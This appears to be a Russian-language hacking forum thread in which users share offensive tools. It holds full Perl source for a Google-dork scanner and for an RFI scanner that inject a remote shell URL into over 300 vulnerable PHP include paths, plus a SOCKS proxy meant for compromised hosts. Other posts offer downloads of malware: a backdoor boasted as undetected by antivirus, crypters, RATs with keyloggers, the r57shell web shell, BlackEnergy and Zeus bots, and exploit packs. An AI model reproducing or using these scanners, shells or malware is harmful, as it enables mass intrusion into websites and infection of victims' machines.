$boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");

for($i = 0; $i < @ARGV; $i++)
{
if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
}

if(!($script && $log)){ usage(); exit; }

foreach $inc(@inc_bugs)
{
foreach $zone(@zones)
{
foreach $ftype(@ftypes)
{
$request = "filetype:$ftype site:$zone inurl:$inc=";
print "\n[$request]\n";

$request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
@dn = ();

for($i = 0;$i < 10; $i++)
{

@temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.

"00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;

foreach $url (@temp)
{
if($url !~ /($inc=[^\&]+)/i) { next; }
$left = $`; $right = $';
if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
if($url =~ /google\.com/i){ next; }

($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
if($domain =~ /^www\.(.+)$/) { $domain = $1; }
$f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
push @dn, $domain;

$print = "$left$inc=[INCLUDE]$right";
if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
{
$s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
$count++;
print "[$count] $s";

open LOG, ">>$log";
print LOG $s;
close LOG;
}
else {
print "$print - no bugs\n";
}
}
}
}
}
}

sub timeout() { close $sock; }

sub get()
{
local $request = $_[0];
local $port = 80;
local $data = "";

if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
{
if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }

$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM,
TimeOut => $timeout
) or return 0; # connection failed

print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";

$SIG{ALRM} = \&timeout; alarm 10;
while(<$sock>){ $data .= $_; }
alarm 0; close $sock;
}

return $data;
}

sub usage()
{

print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
Test script:
<?php
error_reporting(0);
\$s = md5("STNC");
\$code = eregi("windows", php_uname())+
2*eregi("apache", getenv("SERVER_SOFTWARE"))+
4*ini_get('safe_mode'); echo \$s."[\$code]".\$s;
?>
);

}

давно уже не приват=) но..но может кому-нибудь пригодится.

SaTaNiC Team 0day tool Satanic Socks Server v0.8-perl

CODE

#!/usr/bin/perl

#

Satanic Socks Server v0.8.031206-perl
# This script is private. Only for SaTaNiC team and friends. Not for sale.
#

Coded by drmist/STNC, web: www.stnc.ru.

$auth_enabled = 0;
$auth_login = "user";
$auth_pass = "pass";
$port = 3003;

use IO::Socket::INET;

$SIG{'CHLD'} = 'IGNORE';
$bind = IO::Socket::INET->new(Listen=>10, Reuse=>1, LocalPort=>$port) or die "Can't bind port $port\n";

while($client = $bind->accept()) {
$client->autoflush();

if(fork()){ $client->close(); }
else { $bind->close(); new_client($client); exit(); }
}

sub new_client {
local $t, $i, $buff, $ord, $success;
local $client = $_[0];
sysread($client, $buff, 1);

if(ord($buff) == 5) {
sysread($client, $buff, 1);
$t = ord($buff);

unless(sysread($client, $buff, $t) == $t) { return; }

$success = 0;
for($i = 0; $i < $t; $i++) {
$ord = ord(substr($buff, $i, 1));
if($ord == 0 && !$auth_enabled) {

syswrite($client, "\x05\x00", 2);

$success++;

break;
}
elsif($ord == 2 && $auth_enabled) {

unless(do_auth($client)){ return; }

$success++;

break;
}
}

if($success) {
$t = sysread($client, $buff, 3);

if(substr($buff, 0, 1) == '\x05') {

if(ord(substr($buff, 2, 1)) == 0) { # reserved

($host, $raw_host) = socks_get_host($client);

if(!$host) { return; }

($port, $raw_port) = socks_get_port($client);

if(!$port) { return; }

$ord = ord(substr($buff, 1, 1));

$buff = "\x05\x00\x00".$raw_host.$raw_port;

syswrite($client, $buff, length($buff));

socks_do($ord, $client, $host, $port);
[indent] }
}
} else { syswrite($client, "\x05\xFF", 2); };
}
$client->close();
}

sub do_auth {
local $buff, $login, $pass;
local $client = $_[0];

syswrite($client, "\x05\x02", 2);
sysread($client, $buff, 1);

if(ord($buff) == 1) {
sysread($client, $buff, 1);
sysread($client, $login, ord($buff));
sysread($client, $buff, 1);
sysread($client, $pass, ord($buff));

if($login eq $auth_login && $pass eq $auth_pass) {
syswrite($client, "\x05\x00", 2);
return 1;
} else { syswrite($client, "\x05\x01", 2); }
}

$client->close();
return 0;
}

sub socks_get_host {
local $client = $_[0];
local $t, $ord, $raw_host;
local $host = "";

sysread($client, $t, 1);
$ord = ord($t);
if($ord == 1) {
sysread($client, $raw_host, 4);
@host = $raw_host =~ /(.)/g;
$host = ord($host[0]).".".ord($host[1]).".".ord($host[2]).".".ord($host[3]);
} elsif($ord == 3) {
sysread($client, $raw_host, 1);
sysread($client, $host, ord($raw_host));
$raw_host .= $host;
} elsif($ord == 4) {
#ipv6 - not supported
}

return ($host, $t.$raw_host);
}

sub socks_get_port {
local $client = $_[0];
local $raw_port, $port;
sysread($client, $raw_port, 2);
$port = ord(substr($raw_port, 0, 1)) << 8 | ord(substr($raw_port, 1, 1));
return ($port, $raw_port);
}

sub socks_do {
local($t, $client, $host, $port) = @_;

if($t == 1) { socks_connect($client, $host, $port); }
elsif($t == 2) { socks_bind($client, $host, $port); }
elsif($t == 3) { socks_udp_associate($client, $host, $port); }
else { return 0; }

return 1;
}

# this part of code was taken from datapipe.pl utility,
# written by CuTTer (cutter[at]real.xakep.ru)
# utility lays on cpan.org

sub socks_connect {
my($client, $host, $port) = @_;
my $target = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM);

unless($target) { return; }

$target->autoflush();
while($client || $target) {
my $rin = "";
vec($rin, fileno($client), 1) = 1 if $client;
vec($rin, fileno($target), 1) = 1 if $target;
my($rout, $eout);
select($rout = $rin, undef, $eout = $rin, 120);
if (!$rout && !$eout) { return; }
my $cbuffer = "";
my $tbuffer = "";

if ($client && (vec($eout, fileno($client), 1) || vec($rout, fileno($client), 1))) {
my $result = sysread($client, $tbuffer, 1024);
if (!defined($result) || !$result) { return; }
}

if ($target && (vec($eout, fileno($target), 1) || vec($rout, fileno($target), 1))) {
my $result = sysread($target, $cbuffer, 1024);
if (!defined($result) || !$result) { return; }
}

if ($fh && $tbuffer) { print $fh $tbuffer; }

while (my $len = length($tbuffer)) {
my $res = syswrite($target, $tbuffer, $len);
if ($res > 0) { $tbuffer = substr($tbuffer, $res); } else { return; }
}

while (my $len = length($cbuffer)) {
my $res = syswrite($client, $cbuffer, $len);
if ($res > 0) { $cbuffer = substr($cbuffer, $res); } else { return; }
}
}
}

sub socks_bind {
my($client, $host, $port) = @_;
# not supported
}

sub socks_udp_associate {
my($client, $host, $port) = @_;
# not supported
}

аналогично;)

PlainShell

read&download

Сообщение отредактировал Creeping Death - 19.10.2007, 18:34

[Creeping Death]

Free Cryptor build 002

(IMG:http://www.soft.glofff.com/img/screen/freecryptor1.png)

Download: Free
Official web site: http://soft.glofff.com

A-Squared Found nothing
AntiVir Found TR/Crypt.XPACK.Gen

ArcaVir Found nothing
Avast Found nothing
AVG Antivirus Found nothing
BitDefender Found nothing
ClamAV Found nothing
CPsecure Found nothing
Dr.Web Found nothing
F-Prot Antivirus Found nothing
F-Secure Anti-Virus Found nothing
Fortinet Found nothing
Kaspersky Anti-Virus Found nothing
NOD32 Found nothing
Norman Virus Control Found nothing
Panda Antivirus Found nothing
Rising Antivirus Found nothing
Sophos Antivirus Found Mal/Basine-C
VirusBuster Found nothing
VBA32 Found nothing

Thx to Prosto

[Creeping Death]

небольшой backdoor, написанный на Delphi. вчера еще не палился.

CODE

A-Squared Found nothing
AntiVir Found nothing
ArcaVir Found nothing
Avast Found nothing
AVG Antivirus Found nothing
BitDefender Found nothing
ClamAV Found nothing
CPsecure Found nothing
Dr.Web Found nothing
F-Prot Antivirus Found nothing
F-Secure Anti-Virus Found nothing
Fortinet Found nothing
Kaspersky Anti-Virus Found nothing
NOD32 Found nothing
Norman Virus Control Found nothing
Panda Antivirus Found nothing
Rising Antivirus Found nothing
Sophos Antivirus Found nothing
VirusBuster Found nothing
VBA32 Found nothing

автор: Ryan

аттач

Прикрепленные файлы

 Shell.rar ( 25,43 килобайт ) Кол-во скачиваний: 56

 

[Creeping Death]

Joomla rfi Scanner

Heres a simple scanner for the web app Joomla. Scans known vulnerable RFI path/files in Joomla and reports http response.
Cпасибо d3hydr8

download

[неузнаваемый]

BlackEnergy bot 1.9.2.rar Приклеен вирус так что запускаем на виртуальной машине!

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

Связка эксплойтов - FirePack

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

r57shell v1.4

+ выполнение команд без перезагрузки страницы (команда !cls - очистка текстовой области)
+ добавление алиасов (вид: !алиас; как пример - два алиаса !ll и !ds, подробности в коде скрипта)
+ php_admin* bypass by ini_restore()
+ error_log() safe_mode bypass
+ htaccess mail.force_extra_parameters safemode bypass
+ SSI safe_mode bypass
+ COM functions safe_mode bypass
+ ionCube extension safe_mode bypass
+ win32std extension safe_mode bypass
+ win32service extension safe_mode bypass
+ perl extension safe_mode bypass
+ FFI extension safe_mode bypass

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

ad pack

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

система распределения траффика

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

zeus v1.0.3.7 + админка и мануал

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

пока все

Сообщение отредактировал неузнаваемый - 10.12.2007, 17:01

[неузнаваемый]

Sqlninja 0.2.1-r1
Sqlninja - маленький инструмент на Perl для эксплуатации уязвимости SQL-injection. Его главная цель состоит в том, чтобы обеспечить удаленный доступ к уязвимому серверу базы данных. В этойверсии можно выделить такие изменения, как улучшение механизма распознования, добавление брутофорс атаки, устранение некоторых ошибок из предыдущей версии.

Скачать.

http://www.web-hack.ru/

[неузнаваемый]

CZ stat for "agent dq" new!
wowloader 0.8c

ntechloader 1.2se

Mpack 0.99
SASH.cc site 2007

N-spy and N-code

Nuclear traff new!
pass:123

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

не проверял на вирусы так что на ваш страх и риск

Сообщение отредактировал неузнаваемый - 19.12.2007, 13:17

[Creeping Death]

Fishing_Bait_2.5

download

[Creeping Death]

MultiBinder 1.1 Fully Undetected
download

Hav-Rat 1.2 [Private Version]
download

NyTrojan OCX

Function :

1) OpenCDRom
2) CloseCDRom
3) ShowTaskBar
4) HideTaskBar
5) HideMouse
6) ShowMouse
7) LockExe
8) UnLockExe
9) HideClock
10) ShowClock
11) HideStart
12) ShowStart
13) HideIcons
14) ShowIcons
15) DisableTaskManager
16) EnableTaskManager
17) EmptyFolder
18) DesktopFolderFlood
19) DesktopFolderDelete
20) DisableSystemRestore
21) EnableSystemRestore
22) KillProcess
23) AutoDownload
24) SetStartButtonCaption
25) AddToStartUp
26) FreezeMouse
27) StopFreezeMouse
28) CrazyMouse
29) StopCrazyMouse
30) BeepFlood
31) StopBeepFlood
32) Abort
33) LogOff
34) ShutDown
35) Restart
36) Author
37) OpenWebSite
38) FormatDrive
39) SwapMouseButtons
40) StopSwapMouseButtons
41) BypassWindowsFirewall
42) TurnOffMonitor
43) TurnOnMonitor
44) StartKeylogging
45) StopKeylogging
46) Keylog


downloadhttp://www.speedyshare.com/590347578.html
mirror
mirror
mirror

Zombie Rat v1.0

C0der:"The Bo$$"
Coded in : 90% Delphi, 10%Asm
download

[Creeping Death]

Scaner RFI cu >400 buguri

CODE

#!/usr/bin/perl

# RFI Web Comp v.1 - Public Version
# Code by JosS / Jose Luis Góngora Fernández
# Contact: sys-project[at]hotmail.com

use HTTP::Request;
use LWP::UserAgent;

sub lw
{

my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title RFI Web Comp v.1 - By JosS");
system ("color 02");
}
}

&lw;

print "\t\t########################################################\n\n";
print "\t\t# RFI Web Comp .v1 - Spanish Hackers Team #\n\n";
print "\t\t# by JosS #\n\n";
print "\t\t########################################################\n\n";


print "Insert host:(ex: http://www.site.com/)\n";
$host=<STDIN>;
chomp $host;
print "\n";

# Si la url no tiene http: al principio
if ( $host !~ /^http:/ ) {

# lo añadimos
$host = 'http://' . $host;
}

# Si la url no tiene / al final
if ( $host !~ /\/$/ ) {

# lo añadimos
$host = $host . '/';
}


print "Insert shell:(ex: http://www.site.com/c99.txt)\n";
$shell=<STDIN>;
chomp $shell;
print "\n";

# Si la url no tiene http: al principio
if ( $shell !~ /^http:/ ) {

# lo añadimos
$shell = 'http://' . $shell;
}


print "Insert string search:(ex: c99shell)\n";
$string=<STDIN>;
chomp $string;
print "\n\n";

print "Your config:\n\n";

print " Victim: $host \n";
print " Url Shell: $shell \n";
print " Search String: $string \n\n";

print "Scan...\n\n";

$vuln1="includes/header.php?systempath=";
$vuln2="amboro/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=";
$vuln3="index.inc.php?PATH_Includes=";
$vuln4="nphp/nphpd.php?nphp_config[LangFile]=";
$vuln5="include/db.php?GLOBALS[rootdp]=";
$vuln6="ashnews.php?pathtoashnews=";
$vuln7="ashheadlines.php?pathtoashnews=";
$vuln8="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";
$vuln9="demo/includes/init.php?user_inc=";
$vuln10="jaf/index.php?show=";
$vuln11="inc/shows.inc.php?cutepath=";
$vuln12="poll/admin/common.inc.php?base_path=";
$vuln13="pollvote/pollvote.php?pollname=";
$vuln14="sources/post.php?fil_config=";
$vuln15="modules/My_eGallery/public/displayCategory.php?basepath=";
$vuln16="bb_lib/checkdb.inc.php?libpach=";
$vuln17="include/livre_include.php?no_connect=lol&chem_absolu=";
$vuln18="index.php?from_market=Y&pageurl=";
$vuln19="modules/mod_mainmenu.php?mosConfig_absolute_path=";
$vuln20="pivot/modules/module_db.php?pivot_path=";
$vuln21="modules/4nAlbum/public/displayCategory.php?basepath=";
$vuln22="derniers_commentaires.php?rep=";
$vuln23="modules/coppermine/themes/default/theme.php?THEME_DIR=";
$vuln24="modules/coppermine/include/init.inc.php?CPG_M_DIR=";
$vuln25="modules/coppermine/themes/coppercop/theme.php?THEME_DIR=";
$vuln26="coppermine/themes/maze/theme.php?THEME_DIR=";
$vuln28="allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=";
$vuln29="allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=";
$vuln30="myPHPCalendar/admin.php?cal_dir=";
$vuln31="agendax/addevent.inc.php?agendax_path=";
$vuln32="modules/mod_mainmenu.php?mosConfig_absolute_path=";
$vuln33="modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=";
$vuln34="main.php?page=";
$vuln35="default.php?page=";
$vuln36="index.php?action=";
$vuln37="index1.php?p=";
$vuln38="index2.php?x=";
$vuln39="index2.php?content=";
$vuln40="index.php?conteudo=";
$vuln41="index.php?cat=";
$vuln42="include/new-visitor.inc.php?lvc_include_dir=";
$vuln43="modules/agendax/addevent.inc.php?agendax_path=";
$vuln44="shoutbox/expanded.php?conf=";
$vuln45="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";
$vuln46="pivot/modules/module_db.php?pivot_path=";
$vuln47="library/editor/editor.php?root=";
$vuln48="library/lib.php?root=";
$vuln49="e107/e107_handlers/secure_img_render.php?p=";
$vuln50="zentrack/index.php?configFile=";
$vuln51="main.php?x=";
$vuln52="becommunity/community/index.php?pageurl=";
$vuln53="GradeMap/index.php?page=";
$vuln54="phpopenchat/contrib/yabbse/poc.php?sourcedir=";
$vuln55="calendar/calendar.php?serverPath=";
$vuln56="calendar/functions/popup.php?serverPath=";
$vuln57="calendar/events/header.inc.php?serverPath=";
$vuln58="calendar/events/datePicker.php?serverPath=";
$vuln59="calendar/setup/setupSQL.php?serverPath=";
$vuln60="calendar/setup/header.inc.php?serverPath=";
$vuln61="mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=";
$vuln62="zentrack/index.php?configFile=";
$vuln63="pivot/modules/module_db.php?pivot_path=";
$vuln64="inc/header.php/step_one.php?server_inc=";
$vuln65="install/index.php?lng=../../include/main.inc&G_PATH=";
$vuln66="inc/pipe.php?HCL_path=";
$vuln67="include/write.php?dir=";
$vuln68="include/new-visitor.inc.php?lvc_include_dir=";
$vuln69="includes/header.php?systempath=";
$vuln70="support/mailling/maillist/inc/initdb.php?absolute_path=";
$vuln71="coppercop/theme.php?THEME_DIR=";
$vuln72="zentrack/index.php?configFile=";
$vuln73="pivot/modules/module_db.php?pivot_path=";
$vuln74="inc/header.php/step_one.php?server_inc=";
$vuln75="install/index.php?lng=../../include/main.inc&G_PATH=";
$vuln76="inc/pipe.php?HCL_path=";
$vuln77="include/write.php?dir=";
$vuln78="include/new-visitor.inc.php?lvc_include_dir=";
$vuln79="includes/header.php?systempath=";
$vuln80="support/mailling/maillist/inc/initdb.php?absolute_path=";
$vuln81="coppercop/theme.php?THEME_DIR=";
$vuln82="becommunity/community/index.php?pageurl=";
$vuln83="shoutbox/expanded.php?conf=";
$vuln84="agendax/addevent.inc.php?agendax_path=";
$vuln85="myPHPCalendar/admin.php?cal_dir=";
$vuln86="yabbse/Sources/Packages.php?sourcedir=";
$vuln87="dotproject/modules/projects/addedit.php?root_dir=";
$vuln88="dotproject/modules/projects/view.php?root_dir=";
$vuln89="dotproject/modules/projects/vw_files.php?root_dir=";
$vuln90="dotproject/modules/tasks/addedit.php?root_dir=";
$vuln91="dotproject/modules/tasks/viewgantt.php?root_dir=";
$vuln92="My_eGallery/public/displayCategory.php?basepath=";
$vuln93="modules/My_eGallery/public/displayCategory.php?basepath=";
$vuln94="modules/4nAlbum/public/displayCategory.php?basepath=";
$vuln95="modules/coppermine/themes/default/theme.php?THEME_DIR=";
$vuln96="modules/agendax/addevent.inc.php?agendax_path=";
$vuln97="modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=";
$vuln98="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";
$vuln99="modules/coppermine/include/init.inc.php?CPG_M_DIR=";
$vuln100="modules/mod_mainmenu.php?mosConfig_absolute_path=";
$vuln101="shoutbox/expanded.php?conf=";
$vuln102="pivot/modules/module_db.php?pivot_path=";
$vuln103="library/editor/editor.php?root=";
$vuln104="library/lib.php?root=";
$vuln105="e107/e107_handlers/secure_img_render.php?p=";
$vuln106="main.php?x=";
$vuln107="main.php?page=";
$vuln108="index.php?meio.php=";
$vuln109="index.php?include=";
$vuln110="index.php?inc=";
$vuln111="index.php?page=";
$vuln112="index.php?pag=";
$vuln113="index.php?p=";
$vuln114="index.php?x=";
$vuln115="index.php?open=";
$vuln116="index.php?visualizar=";
$vuln117="index.php?pagina=";
$vuln118="index2.php?content=";
$vuln119="inc/step_one_tables.php?server_inc=";
$vuln120="GradeMap/index.php?page=";
$vuln121="phpshop/index.php?base_dir=";
$vuln122="admin.php?cal_dir=";
$vuln123="contacts.php?cal_dir=";
$vuln124="convert-date.php?cal_dir=";
$vuln125="album_portal.php?phpbb_root_path=";
$vuln126="mainfile.php?MAIN_PATH=";
$vuln127="dotproject/modules/files/index_table.php?root_dir=";
$vuln128="html/affich.php?base=";
$vuln129="gallery/init.php?HTTP_POST_VARS=";
$vuln130="pm/lib.inc.php?pm_path=";
$vuln131="ideabox/include.php?gorumDir=";
$vuln132="index2.php?includes_dir=";
$vuln133="forums/toplist.php?phpbb_root_path=";
$vuln134="forum/toplist.php?phpbb_root_path=";
$vuln135="admin/config_settings.tpl.php?include_path=";
$vuln136="include/common.php?include_path=";
$vuln137="event/index.php?page=";
$vuln138="forum/index.php?includeFooter=";
$vuln139="forums/index.php?includeFooter=";
$vuln140="forum/bb_admin.php?includeFooter=";
$vuln141="forums/bb_admin.php?includeFooter=";
$vuln142="language/lang_english/lang_activity.php?phpbb_root_path=";
$vuln143="forum/language/lang_english/lang_activity.php?phpbb_root_path=";
$vuln144="blend_data/blend_common.php?phpbb_root_path=";
$vuln145="master.php?root_path=";
$vuln146="includes/kb_constants.php?module_root_path=";
$vuln147="forum/includes/kb_constants.php?module_root_path=";
$vuln148="forums/includes/kb_constants.php?module_root_path=";
$vuln149="classes/adodbt/sql.php?classes_dir=";
$vuln150="agenda.php3?rootagenda=";
$vuln151="agenda2.php3?rootagenda=";
$vuln152="sources/lostpw.php?CONFIG[path]=";
$vuln153="topsites/sources/lostpw.php?CONFIG[path]=";
$vuln154="toplist/sources/lostpw.php?CONFIG[path]=";
$vuln155="sources/join.php?CONFIG[path]=";
$vuln156="topsites/sources/join.php?CONFIG[path]=";
$vuln157="toplist/sources/join.php?CONFIG[path]=";
$vuln158="topsite/sources/join.php?CONFIG[path]=";
$vuln159="public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=";
$vuln160="extras/poll/poll.php?file_newsportal=";
$vuln161="index.php?site_path=";
$vuln162="mail/index.php?site_path=";
$vuln163="fclick/show.php?path=";
$vuln164="show.php?path=";
$vuln165="calogic/reconfig.php?GLOBALS[CLPath]=";
$vuln166="eshow.php?Config_rootdir=";
$vuln167="auction/auction_common.php?phpbb_root_path=";
$vuln168="index.php?inc_dir=";
$vuln169="calendar/index.php?inc_dir=";
$vuln170="modules/TotalCalendar/index.php?inc_dir=";
$vuln171="modules/calendar/index.php?inc_dir=";
$vuln172="calendar/embed/day.php?path=";
$vuln173="ACalendar/embed/day.php?path=";
$vuln174="calendar/add_event.php?inc_dir=";
$vuln175="claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=";
$vuln176="claroline/auth/ldap/authldap.php?includePath=";
$vuln177="docebo/modules/credits/help.php?lang=";
$vuln178="modules/credits/help.php?lang=";
$vuln179="config.php?returnpath=";
$vuln180="editsite.php?returnpath=";
$vuln181="in.php?returnpath=";
$vuln182="addsite.php?returnpath=";
$vuln183="includes/pafiledb_constants.php?module_root_path=";
$vuln184="phpBB/includes/pafiledb_constants.php?module_root_path=";
$vuln185="pafiledb/includes/pafiledb_constants.php?module_root_path=";
$vuln186="auth/auth.php?phpbb_root_path=";
$vuln187="auth/auth_phpbb/phpbb_root_path=";
$vuln188="apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=";
$vuln189="apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=";
$vuln190="infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=";
$vuln191="phpdig/includes/config.php?relative_script_path=";
$vuln192="includes/phpdig/includes/config.php?relative_script_path=";
$vuln193="includes/dbal.php?eqdkp_root_path=";
$vuln194="eqdkp/includes/dbal.php?eqdkp_root_path=";
$vuln195="dkp/includes/dbal.php?eqdkp_root_path=";
$vuln196="include/SQuery/gameSpy2.php?libpath=";
$vuln197="include/global.php?GLOBALS[includeBit]=";
$vuln198="topsites/config.php?returnpath=";
$vuln199="manager/frontinc/prepend.php?_PX_config[manager_path]=";
$vuln200="ubbthreads/addpost_newpoll.php?addpoll=thispath=";
$vuln201="forum/addpost_newpoll.php?thispath=";
$vuln202="forums/addpost_newpoll.php?thispath=";
$vuln203="ubbthreads/ubbt.inc.php?thispath=";
$vuln204="forums/ubbt.inc.php?thispath=";
$vuln205="forum/ubbt.inc.php?thispath=";
$vuln206="forum/admin/addentry.php?phpbb_root_path=";
$vuln207="admin/addentry.php?phpbb_root_path=";
$vuln208="index.php?f=";
$vuln209="index.php?act=";
$vuln210="ipchat.php?root_path=";
$vuln211="includes/orderSuccess.inc.php?glob[rootDir]=";
$vuln212="stats.php?dir[func]=dir[base]=";
$vuln213="ladder/stats.php?dir[base]=";
$vuln214="ladders/stats.php?dir[base]=";
$vuln215="sphider/admin/configset.php?settings_dir=";
$vuln216="admin/configset.php?settings_dir=";
$vuln217="vwar/admin/admin.php?vwar_root=";
$vuln218="modules/vwar/admin/admin.php?vwar_root=";
$vuln219="modules/vWar_Account/includes/get_header.php?vwar_root=";
$vuln220="modules/vWar_Account/includes/functions_common.php?vwar_root2=";
$vuln221="sphider/admin/configset.php?settings_dir=";
$vuln222="admin/configset.php?settings_dir=";
$vuln223="impex/ImpExData.php?systempath=";
$vuln224="forum/impex/ImpExData.php?systempath=";
$vuln225="forums/impex/ImpExData.php?systempath=";
$vuln226="application.php?base_path=";
$vuln227="index.php?theme_path=";
$vuln228="become_editor.php?theme_path=";
$vuln229="add.php?theme_path=";
$vuln230="bad_link.php?theme_path=";
$vuln231="browse.php?theme_path=";
$vuln232="detail.php?theme_path=";
$vuln233="fav.php?theme_path=";
$vuln234="get_rated.php?theme_path=";
$vuln235="login.php?theme_path=";
$vuln236="mailing_list.php?theme_path=";
$vuln237="new.php?theme_path=";
$vuln238="modify.php?theme_path=";
$vuln239="pick.php?theme_path=";
$vuln240="power_search.php?theme_path=";
$vuln241="rating.php?theme_path=";
$vuln242="register.php?theme_path=";
$vuln243="review.php?theme_path=";
$vuln244="rss.php?theme_path=";
$vuln245="search.php?theme_path=";
$vuln246="send_pwd.php?theme_path=";
$vuln247="sendmail.php?theme_path=";
$vuln248="tell_friend.php?theme_path=";
$vuln249="top_rated.php?theme_path=";
$vuln250="user_detail.php?theme_path=";
$vuln251="user_search.php?theme_path=";
$vuln252="invoice.php?base_path=";
$vuln253="cgi-bin//classes/adodbt/sql.php?classes_dir=";
$vuln254="cgi-bin/install/index.php?G_PATH=";
$vuln255="cgi-bin/include/print_category.php?dir=";
$vuln256="includes/class_template.php?quezza_root_path=";
$vuln257="bazar/classified_right.php?language_dir=";
$vuln258="classified_right.php?language_dir=";
$vuln259="phpBazar/classified_right.php?language_dir=";
$vuln260="chat/messagesL.php3?cmd=";
$vuln261="phpMyChat/chat/messagesL.php3?cmd=";
$vuln262="bbs/include/write.php?dir=";
$vuln263="visitorupload.php?cmd=";
$vuln264="modules/center/admin/accounts/process.php?module_path]=";
$vuln265="index.php?template=";
$vuln266="armygame.php?libpath=";
$vuln267="lire.php?rub=";
$vuln268="pathofhostadmin/?page=";
$vuln269="apa_phpinclude.inc.php?apa_module_basedir=";
$vuln270="index.php?req_path=";
$vuln271="research/boards/encapsbb-0.3.2_fixed/index_header.php?root=";
$vuln272="Farsi1/index.php?archive=";
$vuln273="index.php?archive=";
$vuln274="show_archives.php?template=";
$vuln275="forum/include/common.php?pun_root=";
$vuln276="pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=";
$vuln277="vuln.php?=";
$vuln278="cgi-bin//include/write.php?dir=";
$vuln279="admin/common.inc.php?basepath=";
$vuln280="pm/lib.inc.php?sfx=";
$vuln281="pm/lib.inc.php?pm_path=";
$vuln282="artmedic-kleinanzeigen-path/index.php?id=";
$vuln283="osticket/include/main.php?include_dir=";
$vuln284="include/main.php?config[search_disp]=include_dir=";
$vuln285="phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=";
$vuln286="quick_reply.php?phpbb_root_path=";
$vuln287="zboard/include/write.php?dir=";
$vuln288="admin/plog-admin-functions.php?configbasedir=";
$vuln289="content.php?content=";
$vuln290="q-news.php?id=";
$vuln291="_conf/core/common-tpl-vars.php?confdir=";
$vuln292="votebox.php?VoteBoxPath=";
$vuln293="al_initialize.php?alpath=";
$vuln294="include/db.php?GLOBALS[rootdp]=";
$vuln295="modules/news/archivednews.php?GLOBALS[language_home]=";
$vuln296="protection.php?siteurl=";
$vuln297="modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=";
$vuln298="index2.php?includes_dir=";
$vuln299="classes.php?LOCAL_PATH=";
$vuln300="extensions/moblog/moblog_lib.php?basedir=";
$vuln301="modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=";
$vuln302="phpWebLog/include/init.inc.php?G_PATH=";
$vuln303="admin/objects.inc.php4?Server=";
$vuln304="trg_news30/trgnews/install/article.php?dir=";
$vuln305="block.php?Include=";
$vuln306="arpuivo.php?data=";
$vuln307="setup/index.php?GALLERY_BASEDIR=";
$vuln308="include/help.php?base=";
$vuln309="index.php?[Home]=";
$vuln310="block.php?Include=";
$vuln311="examples/phonebook.php?page=";
$vuln312="PHPNews/auth.php?path=";
$vuln313="include/print_category.php?dir=";
$vuln314="skin/zero_vote/login.php?dir=";
$vuln315="skin/zero_vote/setup.php?dir=";
$vuln316="skin/zero_vote/ask_password.php?dir=";
$vuln317="gui/include/sql.php?include_path=";
$vuln318="webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=";
$vuln319="email.php?login=cer_skin=";
$vuln320="PhotoGal/ops/gals.php?news_file=";
$vuln321="index.php?custom=";
$vuln322="loginout.php?cutepath=";
$vuln323="oneadmin/config.php?path[docroot]=";
$vuln324="xcomic/initialize.php?xcomicRootPath=";
$vuln325="skin/zero_vote/setup.php?dir=";
$vuln326="skin/zero_vote/error.php? dir=";
$vuln327="admin_modules/admin_module_captions.inc.php?config[path_src_include]=";
$vuln328="admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=";
$vuln329="admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=";
$vuln330="admin_modules/admin_module_edit.inc.php?config[path_src_include]=";
